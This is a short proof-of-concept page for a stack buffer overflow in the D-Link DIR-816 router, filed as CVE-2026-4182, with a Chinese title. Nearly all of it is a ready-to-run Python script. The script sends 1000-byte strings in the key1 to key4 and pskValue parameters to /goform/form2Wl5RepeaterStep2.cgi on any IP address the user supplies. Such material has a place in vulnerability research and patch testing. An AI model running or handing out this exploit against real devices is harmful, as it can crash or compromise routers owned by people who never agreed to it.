CVE-2026-4182 D-Link DIR-816路由器栈缓冲区溢出漏洞

import requests import sys # CVE-2026-4182 PoC - D-Link DIR-816 Buffer Overflow # Target: /goform/form2Wl5RepeaterStep2.cgi # Parameters: key1, key2, key3, key4, pskValue target_ip = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' port = sys.argv[2] if len(sys.argv) > 2 else '80' base_url = f'http://{target_ip}:{port}' # Construct malicious payload with oversized parameters # This triggers stack buffer overflow in form2Wl5RepeaterStep2.cgi overflow_payload = 'A' * 1000 # Adjust size based on target params = { 'key1': overflow_payload, 'key2': overflow_payload, 'key3': overflow_payload, 'key4': overflow_payload, 'pskValue': overflow_payload } print(f'[*] Sending exploit to {base_url}') print(f'[*] Target: D-Link DIR-816 firmware 1.10CNB05') print(f'[*] Vulnerable endpoint: /goform/form2Wl5RepeaterStep2.cgi') print(f'[*] Payload length: {len(overflow_payload)} bytes per parameter') try: response = requests.get(f'{base_url}/goform/form2Wl5RepeaterStep2.cgi', params=params, timeout=10) print(f'[*] Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[!] Request failed: {e}') print('[*] Target may be vulnerable or not reachable')